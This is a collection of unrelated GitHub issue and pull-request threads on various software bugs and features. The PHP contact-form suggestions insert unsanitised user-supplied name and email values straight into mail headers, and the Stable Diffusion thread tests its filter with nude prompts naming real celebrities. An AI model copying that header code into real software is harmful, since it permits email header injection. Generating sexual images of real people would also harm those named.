2971215073
real	0m40.203s
user	0m40.191s
sys	0m0.012s
nectar fib.js -o fibnectar
time ./fibnectar
2.97122e+09
real	7m55.692s
user	7m55.680s
sys	0m0.000s

Hi,
which compiler are you using ?

gcc --version
gcc (Debian 12.2.0-14) 12.2.0
Copyright (C) 2022 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
g++ --version
g++ (Debian 12.2.0-14) 12.2.0
Copyright (C) 2022 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

it should not be so slow, quite strange

Problem seems to persist even after reinstalling a fresh Debian 12.
Likely specific to the OS or a particular version of the OS or some packages?


ImagePicker pickImage by source camera , the words in view are not Localized but just 'Photo、Cancel'

image_picker: ^0.7.4
Flutter 2.0.5 • channel stable • https://github.com/flutter/flutter.git
Framework • revision adc687823a (5 days ago) • 2021-04-16 09:40:20 -0700
Engine • revision b09f014e96
Tools • Dart 2.12.3

@wesin
There was similar issue logged, https://github.com/flutter/flutter/issues/63719 which was closed per this issue comment, https://github.com/flutter/flutter/issues/63719#issuecomment-812647925 which doesn't seem to be an issue with the plugin.
Closing this as not a Flutter or image_picker plugin issue per linked comment.  If you disagree, write in comments and I'll reopen it.
Thanks.


Blocks improperly work with numeral option

To reproduce the error or describe your requirement with a jsfiddle url would be appreciated:

Fork this with vanilla JS component: https://jsfiddle.net/ztn0sqh3/

blocks feature improperly working when numeral option enabled.

Length limit doesn't applied
Delimiter added on unexpected position

Try using   numericOnly: true option instead of the the numeral: true option.
https://github.com/nosir/cleave.js/blob/master/doc/options.md#numericonly

@svnv
Oh... it was my misunderstanding..
Really appreciate for your help.


ENOENT Unable to create new bot or run the existed one

Describe the bug

I can't run my bot or create new one, I am getting the same error.
Version
Version:  2.1.2-nightly.295743.7333498
Electron: 8.2.4
Chrome: 80.0.3987.165
NodeJS: 12.13.0
V8: 8.0.426.27-electron.0

Browser

[ ] Electron distribution
[x ] Chrome
[ ] Safari
[ ] Firefox
[ ] Edge

OS

[ ] macOS
[ x] Windows
[ ] Ubuntu

To Reproduce
Steps to reproduce the behavior:

Go to '...'
Click on '....'
Scroll down to '....'
See error

Expected behavior

Screenshots

Additional context

@margin-kantilal
Can you test a few things please?
First, does the command below run without issue (from any console)?
dotnet user-secrets init --help
Secondly, can you test the following commands from a console (in the directory of your existing bot)?
dotnet user-secrets init --project LuisBot.csproj and dotnet build and dotnet run
Finally, i'd like to see the output of dotnet --info as well.

Closing due to inactivity. If you still have need of assistance, please comment with data and answers to the above and we can reopen.


error when launching gradlew.bat

Environment info
1.21
Fabric API
Java 8, JDK 22
Git
Description
when I launch gradlew.bat to enter the lines that you gave in "how to build extra sound", but I have an error, and writes that the directory was not found.git, although I installed it
Step-by-step reproduction instructions

open gradlew.bat with installed java 8, JDK 22, Git
error

Is this related to other mods or libraries?
No response
Screenshots, latest.log, code snippet
No response

How did you get the source? Installing Git and using Git commands is required for builds.
I guess following line can resolve:
git clone --recursive https://github.com/lonefelidae16/extra-sounds

How did you get the source? Installing Git and using Git commands is required for builds.
I guess following line can resolve:
git clone --recursive https://github.com/lonefelidae16/extra-sounds

and where are all these lines of code to enter? in what program? I don't understand anything((

How did you get the source? Installing Git and using Git commands is required for builds.
I guess following line can resolve:
git clone --recursive https://github.com/lonefelidae16/extra-sounds

PS C:\Users\danii\omg\extra-sounds> git checkout stable/1.21-build.1 error: pathspec 'stable/1.21-build.1' did not match any file(s) known to git

Hmm...? The tag stable/1.21-build.1 you specified doesn’t exist (I don’t publish such a tag name).
You can check Tags on GitHub Tags, or can enter the command:
git tag -l

Since v3, tag prefix was changed. You will get the following result:
1.0.0
1.1.0
1.x

...snip...

stable/1.19.x
...
stable/1.20.x

...snip...

v3/1.21-build.2
v3/1.21-build.3
v3/1.21-build.4

The latest v3 is v3/1.21-build.4. Try check it out.
Otherwise, if you don’t care about tags and want to get the latest code, you can execute following command:
git checkout origin/dev


Add Former CGP Editors To New Section

To preserve history of the Celo governance process, removing the names of former CGP Editors is extreme and not the best practice for when it comes to looking at historical contexts of an open-source process.
Instead, moving them to another section is a better solution.
This is done in Ethereum and other places https://github.com/ethereum/EIPs/blob/master/EIPS/eip-1.md#eip-editors

@willkraft done

Thanks


Safety checker error

I'd appreciate if someone could check if they can repro this issue.
 miranda kerr nude
>> Ksampler using model noise schedule (steps > 29)
>> Sampling with k_lms starting at step 0 of 50 (50 new sampling steps)
100%|████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 50/50 [00:27<00:00,  1.84it/s]
Generating:   0%|
Traceback (most recent call last):
  File "/Users/me/Downloads/stable-diffusion/ldm/generate.py", line 455, in prompt2image
    results = generator.generate(
  File "/Users/me/Downloads/stable-diffusion/ldm/invoke/generator/base.py", line 93, in generate
    image = self.safety_check(image)
  File "/Users/me/Downloads/stable-diffusion/ldm/invoke/generator/base.py", line 206, in safety_check
    checked_image, has_nsfw_concept = checker(images=x_image, clip_input=features.pixel_values)
  File "/Users/me/opt/anaconda3/envs/do_not_touch-osx-arm64-stable-diffusion/lib/python3.9/site-packages/torch/nn/modules/module.py", line 1130, in _call_impl
    return forward_call(*input, **kwargs)
  File "/Users/me/opt/anaconda3/envs/do_not_touch-osx-arm64-stable-diffusion/lib/python3.9/site-packages/torch/autograd/grad_mode.py", line 27, in decorate_context
    return func(*args, **kwargs)
  File "/Users/me/opt/anaconda3/envs/do_not_touch-osx-arm64-stable-diffusion/lib/python3.9/site-packages/diffusers/pipelines/stable_diffusion/safety_checker.py", line 38, in forward
    pooled_output = self.vision_model(clip_input)[1]  # pooled_output
  File "/Users/me/opt/anaconda3/envs/do_not_touch-osx-arm64-stable-diffusion/lib/python3.9/site-packages/torch/nn/modules/module.py", line 1130, in _call_impl
    return forward_call(*input, **kwargs)
  File "/Users/me/opt/anaconda3/envs/do_not_touch-osx-arm64-stable-diffusion/lib/python3.9/site-packages/transformers/models/clip/modeling_clip.py", line 840, in forward
    return self.vision_model(
  File "/Users/me/opt/anaconda3/envs/do_not_touch-osx-arm64-stable-diffusion/lib/python3.9/site-packages/torch/nn/modules/module.py", line 1130, in _call_impl
    return forward_call(*input, **kwargs)
  File "/Users/me/opt/anaconda3/envs/do_not_touch-osx-arm64-stable-diffusion/lib/python3.9/site-packages/transformers/models/clip/modeling_clip.py", line 771, in forward
    hidden_states = self.embeddings(pixel_values)
  File "/Users/me/opt/anaconda3/envs/do_not_touch-osx-arm64-stable-diffusion/lib/python3.9/site-packages/torch/nn/modules/module.py", line 1130, in _call_impl
    return forward_call(*input, **kwargs)
  File "/Users/me/opt/anaconda3/envs/do_not_touch-osx-arm64-stable-diffusion/lib/python3.9/site-packages/transformers/models/clip/modeling_clip.py", line 137, in forward
    embeddings = torch.cat([class_embeds, patch_embeds], dim=1)
RuntimeError: torch.cat(): all input tensors must be on the same device. Received mps:0 and cpu

I'm reproing it. If I run Invoke with the --safety_checker flag I get this error for every gen, regardless of prompt. Doesn't seem to be caused by NSFW content, it's just broken for everything.

I'll find and fix that bug today.

Could you try applying this patch to ldm/generate.py?
diff --git a/ldm/generate.py b/ldm/generate.py
index 6c45c02..cd54581 100644
--- a/ldm/generate.py
+++ b/ldm/generate.py
@@ -217,6 +217,7 @@ class Generate:
                 safety_model_id = "CompVis/stable-diffusion-safety-checker"
                 self.safety_checker = StableDiffusionSafetyChecker.from_pretrained(safety_model_id, local_files_only=True)
                 self.safety_feature_extractor = AutoFeatureExtractor.from_pretrained(safety_model_id, local_files_only=True)
+                self.safety_feature_extractor.to(self.device)
             except Exception:
                 print('** An error was encountered while installing the safety checker:')
                 print(traceback.format_exc())

AttributeError: 'CLIPFeatureExtractor' object has no attribute 'to'

That's weird. The same line works fine on a CUDA system.

Remove the previous patch and try this one:
diff --git a/ldm/invoke/generator/base.py b/ldm/invoke/generator/base.py
index 77b92d6..0a27485 100644
--- a/ldm/invoke/generator/base.py
+++ b/ldm/invoke/generator/base.py
@@ -114,6 +114,10 @@ class Generator():
         x_sample = 255.0 * rearrange(
             x_samples[0].cpu().numpy(), 'c h w -> h w c'
         )
+
+        if self.safety_checker is not None:
+            self.safety_checker['last_image'] = x_sample
+
         return Image.fromarray(x_sample.astype(np.uint8))

     def generate_initial_noise(self, seed, width, height):
@@ -196,11 +200,13 @@ class Generator():

         checker = self.safety_checker['checker']
         extractor = self.safety_checker['extractor']
-        features = extractor([image], return_tensors="pt")
-
+        last_image = self.safety_checker['last_image']
+        features = extractor(self.numpy_to_pil(last_image), return_tensors="pt")
+        x_image  = last_image
+        # features = extractor([image], return_tensors="pt")
         # unfortunately checker requires the numpy version, so we have to convert back
-        x_image = np.array(image).astype(np.float32) / 255.0
-        x_image = x_image[None].transpose(0, 3, 1, 2)
+        # x_image = np.array(image).astype(np.float32) / 255.0
+        # x_image = x_image[None].transpose(0, 3, 1, 2)

         diffusers.logging.set_verbosity_error()
         checked_image, has_nsfw_concept = checker(images=x_image, clip_input=features.pixel_values)
@@ -220,6 +226,17 @@ class Generator():
             pass
         return blurry

+    def numpy_to_pil(self,images:list):
+        """
+        Convert a numpy image or a batch of images to a PIL image.
+        """
+        if images.ndim == 3:
+            images = images[None, ...]
+        images = (images * 255).round().astype("uint8")
+        pil_images = [Image.fromarray(image) for image in images]
+
+        return pil_images
+
     # this is a handy routine for debugging use. Given a generated sample,
     # convert it into a PNG image and store it at the indicated path
     def save_sample(self, sample, filepath):

Hmm, same error.
I found features.pixel_values is on cpu (print(features.pixel_values.device)).
I'll try to find what is on mps.

Okay, I think the issue has been found.
checker.to('mps')
features.to('mps')

runs.

Although this is not unsafe

Interesting. I previously tried checker.to(self.model.device) and features.to(self.model.device) and it caused exceptions on my CUDA machine. I'll try your solution

The following did not trigger the filter:

windmill
puppy
river and moutains
The following did:
sandra bullock nude

Interesting. I previously tried checker.to(self.model.device) and features.to(self.model.device) and it caused exceptions on my CUDA machine. I'll try your solution

That's basically what I'm running, because self.model.device returns mps.

Okay, I think the issue has been found. This would be a potential solution.
if hasattr(torch.backends, 'mps') and torch.backends.mps.is_available():
    checker.to('mps')
    features.to('mps')

I'd rather put this code into the place where the safety checker is initialized. Could you check if this works?
diff --git a/ldm/generate.py b/ldm/generate.py
index 6c45c02..43f4ab2 100644
--- a/ldm/generate.py
+++ b/ldm/generate.py
@@ -217,6 +217,9 @@ class Generate:
                 safety_model_id = "CompVis/stable-diffusion-safety-checker"
                 self.safety_checker = StableDiffusionSafetyChecker.from_pretrained(safety_model_id, local_files_only=True)
                 self.safety_feature_extractor = AutoFeatureExtractor.from_pretrained(safety_model_id, local_files_only=True)
+                if hasattr(torch.backends,'mps') and torch.backends.mps.is_availabile():
+                    self.safety_checker.to('mps')
+                    self.safety_feature_extractor.to('mps')
             except Exception:
                 print('** An error was encountered while installing the safety checker:')
                 print(traceback.format_exc())

No, I can't run it with self.
self.safety_checker.to('mps')
AttributeError: 'dict' object has no attribute 'to'

I also updated my dev branch.

But one thing I'll add, the filter doesn't work very well, e.g.
invoke> nature
>> Parsed prompt to<EMAIL_ADDRESS>Generating:   0%|                                                                                | 0/1 [00:00<?, ?it/s]>> Ksampler using model noise schedule (steps >= 30)
>> Sampling with k_lms starting at step 0 of 50 (50 new sampling steps)
100%|| 50/50 [00:27<00:00,  1.84it/s]
100%|| 50/50 [00:27<00:00,  1.87it/s]
Potential NSFW content was detected in one or more images. A black image will be returned instead. Try again with a different prompt and/or seed.

But since sometimes it does work, I guess it's diffusers issue and not ours, though.

Okay, actually, I'm starting to think something is wrong.

That does seem excessive. Could you send me the prompts you used and I'll test from here?

There is a typo is_availabile -> is_available. Fixing it I get:
self.safety_feature_extractor.to('mps')
AttributeError: 'CLIPFeatureExtractor' object has no attribute 'to'

And eventually results in Received mps:0 and cpu

Yeah, I got the same AttributeError, which is why I thought this wouldn't work. I'll just go with your recipe, then.

Third time's a charm! That last solution does work!

@lstein Did the fix make it into dev/main?


Understanding WorkFlow for Training and Testing

This is in continuation to #337
So now, my question is:
Ques. 01
I want to create a training network with FC, Sigmoid, SoftmaxWithLoss Layers.
Do I feed all the training data blob into workspace before running CreateNet for Training Model Definition ?
Ques. 02
If above statement is true, then is the following way correct to perform 100 training iteration on fed data:
# Run 100 x 10 iterations
for j in range(0, 100):
    data = np.random.rand(16, 100).astype(np.float32)
    label = (np.random.rand(16) * 10).astype(np.int32)

    workspace.FeedBlob("data", data)
    workspace.FeedBlob("label", label)

    workspace.RunNet(m.name, 10)   # run for 10 times

Where do we add createNet for this ?
Ques. 03
If above is true, I want to know, how do I save the trained model to run testing on my testing data ? Do we need to create separate NET for testing ?
Tutorials here do not explain it clearly : http://caffe2.ai/docs/intro-tutorial
If possible, can you give a complete example below with above requirements, Questions are mentioned in comments:
from caffe2.python import workspace, cnn
import numpy as np

#
#	Model Definition
#

# Create Model using a MODEL HELPER
model 	= cnn.CNNModelHelper(name="First Simple Model")

# Adding Fully Connected Layer to model object
fc_1  	= model.FC("data", "fc_1", dim_in=100, dim_out=10)	# Input Dimension = 100; Output Dimension = 10
								# Input = Data Blob; Output = FC_1 Blob

# Adding Sigmoid Layer to model
pred	= model.Sigmoid( fc_1, "pred")				# Input = FC_1 Blob; Output = pred Blob

# Adding Softmax with Loss Layer
[softmax, loss]	= model.SoftmaxWithLoss( [pred, "label"], ["softmax", "loss"])

# Initialize Parameters - One Time Step
workspace.RunNetOnce( model.param_init_net)

#
#       **Adding Entire Training Data to Workspace - For 100 iterations**
#
for j in range(0,100):
	# Create the input data for
	data = np.random.rand(16, 100).astype(np.float32)

	# Create labels for the data as integers [0, 9].
	label = (np.random.rand(16) * 10).astype(np.int32)

	workspace.FeedBlob("data", data)
	workspace.FeedBlob("label", label)

#
#       Create Net
#
workspace.CreateNet(model.net)

#
#       Running Training Net - 100 iterations
#
for j in range(0,100):
	workspace.RunNet(model.name, 10)			# 10 times
        **#QUESTION                                               # Which Blob Does it Pick up everytime ?????????**

	print("\n Softmax:")
	print(workspace.FetchBlob("softmax"))

	print("\nLoss :")
	print(workspace.FetchBlob("loss"))

#
#       Testing Phase ?????? - What to do ????
#

@Yangqing @bwasti Please Help. It is just a small example.

I would like to know this as well. A matrix multiply using matmul would be extremely helpful.

I also would like to know this. The paradigm of training seems to be blackbox, which is hard to set different strategies.

same question!
more over where i can find the input paradigm? DatabaseOps  is not suitable to my case because i want to stream images and labels into the network, can i use tensor input instead the db op? i i set up the labels?
where i can find some good documentation the tutorial is shallow


creating a professional attribute for the user

While testing my code, I kept running into an error that said that the user did not have a professional attribute, so my tests kept failing. There needs to be a professional attribute created so that the user can be upgraded to that status.

this was solved with this commit https://github.com/kfr3/user_management/commit/8e652c319fc2fc5b584df00f0a25524abb4498af


Feature request / possible bug: cannot take second derivative of a MaxPool

System information

Have I written custom code (as opposed to using a stock example script provided in TensorFlow): yes
OS Platform and Distribution (e.g., Linux Ubuntu 16.04): Mac OSX El Capitan
TensorFlow installed from (source or binary): Binary
TensorFlow version (use command below): v1.0.0-65-g4763edf-dirty 1.0.1, but I've tested it on later versions too, and looking at the source code in master it doesn't seem like it's available
Python version: 3.5.1, but I've reproduced it on 2.7

Describe the problem
If I understand correctly, MaxPool operations should be many-times differentiable, but in Tensorflow you can only differentiate them once, which makes it impossible to inspect second derivatives for CNNs or do double backpropogation.
Source code / logs
You can reproduce it very simply this way:
import tensorflow as tf
X = tf.Variable(tf.random_normal([1,1,1,1]))
P = tf.nn.max_pool(X, [1,1,1,1], [1,1,1,1], 'SAME')
g1 = tf.gradients(P, X)[0]
g2 = tf.gradients(g1, X)[0] # this line fails

raises
LookupError: No gradient defined for operation 'gradients_17/MaxPool_10_grad/MaxPoolGrad' (op type: MaxPoolGrad)

Related: https://github.com/tensorflow/tensorflow/issues/6143

Related: #6143

Agh, I hadn't tested with a new enough version. Thanks 😅


[#1] Allow symbol types to be specified

Closes #1

Coverage increased (+0.4%) to 92.017% when pulling 969bcf7b53c0a5099d1f0c171c92e02e3163eb19 on feature/1-symbols into 7127274f88e6e294981301725400b474b3647e7c on master.


railway shell command

railway shell command that creates a subshell (using $SHELL) with the variables from environment/service loaded and available.
Thanks for the suggestion wyzlle

Are you sure this will work on windows?

I think so. It will fallback to the bash command which should be available in newer versions of windows. It should also work in WSL.
Unfortunately I don't have a Windows machine available to test on.

Would be better if it defaults to cmd on windows.

Changed to fallback to cmd which I think makes sense

What about powershell?

What about powershell?

You can always do railway run powershell. That would be better than adding a flag in raliway shell command imo.

Unfortunately, I don't have a Windows machine handly so don't want to complicate the Window logic any more than it is without being able to properly test it. Would be happy to accept a PR after thought to add Powershell support (rather detect what the current shell the user is in, if not using the $SHELL variable).


Disable the comments

Admittedly, without feedback, the results aren't very actionable
(This is something we're trying to better understand in Lighthouse ci gh action as well.. Ideally we'd like to use commit status, but they sure don't make it straightforward to post a separate status from the action.)
However, for our own development, we try to keep the comments as high-signal as possible and so we don't want tools posting into them.
I don't have enough experience yet with bt to have an opinion on the ideal UX here (maybe post only on budget failure?).. but in the meantime i'd like to be able to disable the PR comments.
(only somewhat related to #2)

In the meantime I'll use the same workaround as #2, which is just use yarn bt-cli upload-build rather than the action.

(maybe post only on budget failure?)

This is what we do at Twitter, but we use Phabricator, which has an easy alternative area to get a link to the build for verification. Unfortunately, not a thing that GitHub has that I know of.

I don't have enough experience yet with bt to have an opinion on the ideal UX here (maybe post only on budget failure?)

I would love to find a better UX than just posting a comment every time there's a build. It can get quite annoying, haha.
I like the way https://github.com/codechecks/build-size-watcher does it:

and

For reference, I experimented with using the GitHub status API. Findings here: https://github.com/paularmstrong/build-tracker/issues/199.

I like the way codechecks/build-size-watcher does it:

Yah I really like the codechecks style too.   It uses "Checks" (which are not "status checks"). Learning that led me to this priceless piece of documentation:

Anyway, A while ago I investigated doing the same. You can see my experiment using that here:  https://github.com/paulirish/lighthouse-ci-action-1/pull/2
We get a "status" entry:

and it links to some markdown output:

You can also have a details block and attach images.. (Though TBH I dont see why one  wouldnt use the markdown for everything)

This, in general, seems good if you don't have a URL that shows the results of this tool's run. But for buildtracker, we got a nice comparisonUrl already, so splitting attention between that URL and the "check" output seems bad.
All in all I prefer #199 to all this. I just wanted to capture this for posterity. ;)

But for buildtracker, we got a nice comparisonUrl already, so splitting attention between that URL and the "check" output seems bad.

Agreed!
Thanks for sharing your notes. I also looked at the checks API. However, as far as I could see, it's only possible to use that API via an authenticated "GitHub app", so I'm not sure if it would be possible to integrate into this action (or Lighthouse for that matter). Or did you manage to get around that restriction somehow?

Ahhhh:

When you enable GitHub Actions, GitHub installs a GitHub App on your repository. The GITHUB_TOKEN secret is a GitHub App installation access token.


Rbnotes.utils.read_multiple_timestamps may return the same timestamps at once

In some use cases, the same strings of timestamps might be passed to read_multiple_timestamps.  Then, multiple Timestamp objects those point the identical time will be passed to the caller of the method.  That behavior is waste and may cause some bugs.

The revised specification of Rbnotes::Utils.read_multiple_timestmpas is:

It generates multiple Textrepo::Timestamp objects from the passed arguments, those are typically extracted from the command line arguments.
If no argument is given, it will try to read from the standard input.
If multiple strings those point the identical time are passed as arguments (or read from the standard input), redundant strings will be removed.  That is, each Timestamp object in the return value will be assured that it appears just once in the return value.
The order of the arguments (passed or read from the standard input) will be preserved, even if the redundant entries were removed.

PR (#99) was merged.


fix: fetch all references with includes

Purpose
Fetch all references with includes
https://github.com/contentful/experience-builder/assets/30434146/1ecc9c3d-d1bc-42b4-84e7-b42ec9f03922
With Deep Binding
https://github.com/contentful/experience-builder/assets/30434146/6995a186-42a1-4f1e-8f7c-1eb8ec82238e
Approach

Will properly test it after PH, but a quick open question: does it "deduplicate" the includes{} ?
because, I wonder if each page will bring it's own includes{} with let's say asset123 and then in theory if 10 pages bring in asset123 as part of includes{} it will be in final includes{} 10 times?

Will properly test it after PH, but a quick open question: does it "deduplicate" the includes{} ?
because, I wonder if each page will bring it's own includes{} with let's say asset123 and then in theory if 10 pages bring in asset123 as part of includes{} it will be in final includes{} 10 times?

This is up to the API, but in theory, I guess your thought is correct.

Visual validation
https://www.loom.com/share/4371eb19d2bc4a97bb34e0f7c551cabf


install.bat dev install does not copy .ini file

The install.bat option to do a dev install does not copy the php.ini file, so when you run setup.php, it cannot find the helper.inc file (because it doesn't have the include path)

Fixed!


Array filtering with -like vs. match: -match passes the matching objects through, -like stringifies them

Note:

Fixing this inconsistency is likely too much of a breaking change; if so, we should document it.

With an array (collection) as the LHS, both -like and -match (among others) act as filters, i.e. they return a sub-array of those elements that match.
Both operators accept non-string elements in the array, in which case the same stringification as in expandable strings (string interpolation) is performed (essentially, simple .ToString() stringification) for the purpose of matching.
The inconsistency is that:

-match returns the original objects whose string representations matched in the sub-array
whereas -like returns the string representations

Steps to reproduce
# Input array (single-element, for simplicity
$a = , [pscustomobject] @{ one = 1; two = 2; three = 3 }

# Note: The  stringified representation of this object is:
#     '@{one=1; two=2; three=3}'
# and this is what is matched against.

' -- -match'
$a -match 'one=' | select { $_ }, { $_.GetType().Name }

' -- -like'
$a -like '*one=*' | select { $_ }, { $_.GetType().Name }

Expected behavior
# -match

 $_                       $_.GetType().Name
----                     -------------------
@{one=1; two=2; three=3} PSCustomObject

# -like
@{one=1; two=2; three=3} PSCustomObject

That is, in both cases the matching input object should be passed through as-is.
Actual behavior
# -match

 $_                       $_.GetType().Name
----                     -------------------
@{one=1; two=2; three=3} PSCustomObject

# -like
@{one=1; two=2; three=3} String

That is, -like returned the string representation of the matching input object rather than the object itself.
Environment data
PowerShell Core 7.2.0-preview.4

WG-Engine discussed this today.  This is unfortunate but we believe this bug doesn't meet the bar for introducing a breaking change.  We do believe this behavior should be documented. A PowerShell-Docs issue has been submitted: https://github.com/MicrosoftDocs/PowerShell-Docs/issues/9987.


add preview for article

Fixes #34
Link : https://diverta.gyazo.com/71dcf49659885dd805adef36d50795d6

@HisashiHasebe san
This is complete.
Keeping this draft until the bugfix on Kuroco is complete. After that is fixed, I will mark this ready for review.
Meanwhile, if you want, you can also review this for other functionalities.

@HisashiHasebe san
What is your opinion on this ?
Preview page doesn't necessarily need functionality.
Maybe we could just remove the display of the fav_cnt for the preview page or just show a random count of 1 like and merge this.
Is it necessary that preview page must show the exact number of fav_cnt ?

@VortexExpansion
In my opinion, we can wait for https://github.com/diverta/Kuroco-opendev/issues/6518 to fix it.
I don't think the preview feature is urgent.


Use new bookmarks query

Will refactor later, once https://github.com/joreilly/Confetti/pull/556 lands


Added In Producthunt

Hi There
I have added this project in product hunt
https://www.producthunt.com/posts/gpickr

Hey :) Thx, sorry - didn't even watched this repo. But this didn't even reached a stage where it can be used, so most people would only find bugs, not working stuff or missing features :/


Can't find plugin

Hello – this looks awesome, but the link in README.md is to the Figma page and the plugin isn't included on the Sketch website yet.

Link has been updated! You can always find it in https://github.com/phosphor-icons/phosphor-sketch/releases

We're still waiting for acceptance to the website :)

Thanks @rektdeckard!


UserWarning when applying Normalize

Hi!
pytorch's version: 1.0.1.post2
torchvision's version: 0.2.2.post3
Sorry for the formatting, but you need to scroll the snippet to the right in order to see the warning.
>>> from torch import tensor
>>> from torchvision.transforms import Normalize
>>> n = Normalize(tensor([1.0, 2.0, 3.0]),  tensor([1.0, 2.0, 3.0]))
>>> t = tensor([1.0, 2.0, 3.0])
>>> n(t)
/home/ygorishniy/miniconda3/envs/x/lib/python3.6/site-packages/torchvision/transforms/functional.py:206: UserWarning: To copy construct from a tensor, it is recommended to use sourceTensor.clone().detach() or sourceTensor.clone().detach().requires_grad_(True), rather than torch.tensor(sourceTensor).
  mean = torch.tensor(mean, dtype=torch.float32)
/home/ygorishniy/miniconda3/envs/x/lib/python3.6/site-packages/torchvision/transforms/functional.py:207: UserWarning: To copy construct from a tensor, it is recommended to use sourceTensor.clone().detach() or sourceTensor.clone().detach().requires_grad_(True), rather than torch.tensor(sourceTensor).
  std = torch.tensor(std, dtype=torch.float32)
Out[17]:
tensor([[[0.]],
             [[0.]],
             [[0.]]])

It should be in the dimension of a valid image ie: CxHxW. See the below snippet:
from torch import tensor
from torchvision.transforms import Normalize
n = Normalize(tensor([1.0, 2.0, 3.0]),  tensor([1.0, 2.0, 3.0]))
t = tensor([1.0, 2.0, 3.0]).view(3, 1, 1)
n(t)

Your tensor n should be in the dimension of a valid image ie: C x H x W. See the below snippet:
from torch import tensor
from torchvision.transforms import Normalize
n = Normalize(tensor([1.0, 2.0, 3.0]),  tensor([1.0, 2.0, 3.0]))
t = tensor([1.0, 2.0, 3.0]).view(3, 1, 1)
n(t)

Sorry, that's exactly what I meant in the issue above. I fixed my snippet, now it is correct and still causes the warning.

Hi,
Thanks for opening the issue.
The fix is to replace torch.tensor with torch.as_tensor in https://github.com/pytorch/vision/blob/6eac421ca2ea1ca52f49e10d7ac191c0d6900df1/torchvision/transforms/functional.py#L206-L207
Could you send a PR fixing this?


Fix RBAC for tiller

This adds the missing service account and role binding that tiller needed.

@gardlt I'm merging this to simplify drydock integration testing.  Please feel free to leave audit comments and I will respond & improve as needed.


Fix Link Screen Reading Issue On Upload Package Page And About Page

Remove aria-label and alt from links for bug # 1979902

Can we add links to the relevant bugs in the description for this, https://github.com/NuGet/NuGetGallery/pull/9901 and https://github.com/NuGet/NuGetGallery/pull/9900 ? Thanks!

@ryuyu  Just added the links to PRs, thanks!

Could you please include screenshot for that change if available?

@erdembayar The change is for the link "Best Practices". Because we put a aria-label inside the link, screen reader reads the aria-label content instead of "best practices", removing the aria-label solve the issue.


[BACKLOG-26139] Update MQTT MDI description for FIELD_TOPIC

Build Completed
:white_check_mark: This pull request has passed all validations.
Build Commands
mvn -B -f 'pom.xml' -pl 'plugins/streaming/impls/mqtt' -P '!assemblies' -Dsurefire.runOrder=alphabetical -Daudit -amd clean install

Cleanup Commands
mvn -B -f 'pom.xml' -pl 'plugins/streaming/impls/mqtt' -P '!assemblies' -amd build-helper:remove-project-artifact

Changed files
  plugins/streaming/impls/mqtt/src/main/resources/org/pentaho/di/trans/step/mqtt/messages/messages_en_US.properties


Image Layer styling doesn't have variable opacity in 3D mode

When using an image layer, the Styling Opacity slider works as expected in 2D mode, where zero opacity shows the background through the image overlay, and increasing opacity shows more of the overlay.

However that doesn't work as expected in 3D mode. The slider has no effect on the displayed image. Instead, its always opaque.

This has been addressed, along with adding support for other image adjustments like Sharpness, Contrast, etc.


option to throw on duplicate keys for .parse

RFC7159 says:

The names within an object SHOULD be unique

Despite that, pretty much all implementations of JSON.parse handle them gracefully, which creates an issue when one tries to be compatibly with YAML where duplicate keys are generally a fatal error.
I think it'd be great if this parser had an option to be strict on duplicate keys.

I opened PR #31 as a suggested fix for this issue.


Make deprecations better visible in Hive

It would be nice to visibly see that fields/arguments are deprecate and shouldnt be used.
It's not a concrete feature request and i'd love to get your insights here.
What im thinking of is something along the lines of .. a strikethrough of a field/argument in the explorer and if you hover it, it shows you the reason of deprecation.
(Below is just brainstorming ideas)

As an addition it would be cool to be able to figure out what service is using which deprecated fields.
Or maybe export the deprecated fields per service on a periodic basis to mail teams on a weekly term to aid in getting rid of deprecations
...

Would love to hear your thoughts

We do now have a strikethrough of a field if it's deprecated, and we also have a dedicated page where only deprecated part of schema is presented


Bcc Header Not Working

Hi,
I'm trying to add a checkbox, which allows users to send a copy of their message to themselves. However, I cannot seem to get it working.
Assuming the name field of my checkbox is "blind-copy", I included another header in your code:
$headers .= "From: $name <$email>" . PHP_EOL;
if (isset($_POST['blind-copy'])) {
    $headers .= "Bcc: $email" . PHP_EOL;
}
$headers .= "Return-Path: $emailTo" . PHP_EOL;

Try this:
$headers  = 'MIME-Version: 1.1' . PHP_EOL;
$headers .= 'Content-type: text/html; charset=UTF-8' . PHP_EOL;
$headers .= "From: $name <$email>" . PHP_EOL;
$headers .= "Return-Path: $emailTo" . PHP_EOL;
$headers .= "Reply-To: $email" . PHP_EOL;
$headers .= "X-Mailer: PHP/". phpversion() . PHP_EOL;
if (isset($_POST['blind-copy'])) {
$headers .= "Bcc: $email". PHP_EOL;
}


add total to enable pagination

Codecov Report

Merging #364 (65fa2bc) into main (2e5b03f) will increase coverage by 0.07%.
The diff coverage is 100.00%.

@@            Coverage Diff             @@
##             main     #364      +/-   ##
==========================================
+ Coverage   25.73%   25.81%   +0.07%
==========================================
  Files          31       31
  Lines        2848     2851       +3
==========================================
+ Hits          733      736       +3
  Misses       2026     2026
  Partials       89       89

Impacted Files
Coverage Δ

pkg/routes/imagesets.go
33.33% <100.00%> (+1.85%)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 2e5b03f...65fa2bc. Read the comment docs.


most of the initial code

Sets up the package, implements a few of the simpler features:

data directory viewer
export data
export logs
log level switch
(BROKEN) presence viewer

@cameron1024 How much work would it be to break this up by tool? Chrome keeps hanging trying to view the diff here


Ionic 1.2.1 <slide-tabs-scrollable="true"> compatibility

In ionic 1.2.1 I tested the slide-tabs-scrollable="true" but the tab cannot slide when set it to true with the latest ionic version. On ionic 1.1.1, it was no issue at all.

Someone has solved this? I'm with the same issue.

+1

Just check with the latest ionic release 1.2.4 Copenhagen (2016-01-08), the problem seems to be solved currently.

Still not working =/

@Matheaw , can you post here please a little bit of your code to see how are you implementing the ion-slide-box-tabs? I'm using Ionic release 1.2.4 and it is still not working for me =(

I just put like the codes above, it works for me. If still can't work, maybe you can try ionic forum or stackoverflow.

@Matheaw, thanks for your response, but still not working. After many different tests, I've noticed that it only not works in Android platform. If I debug in iOS and Web it works perfectly, but if I try on Android devices it not works. When I try on Android devices,  automatically adheres "overflow: hidden" property in "element.style". Like the image bellow:

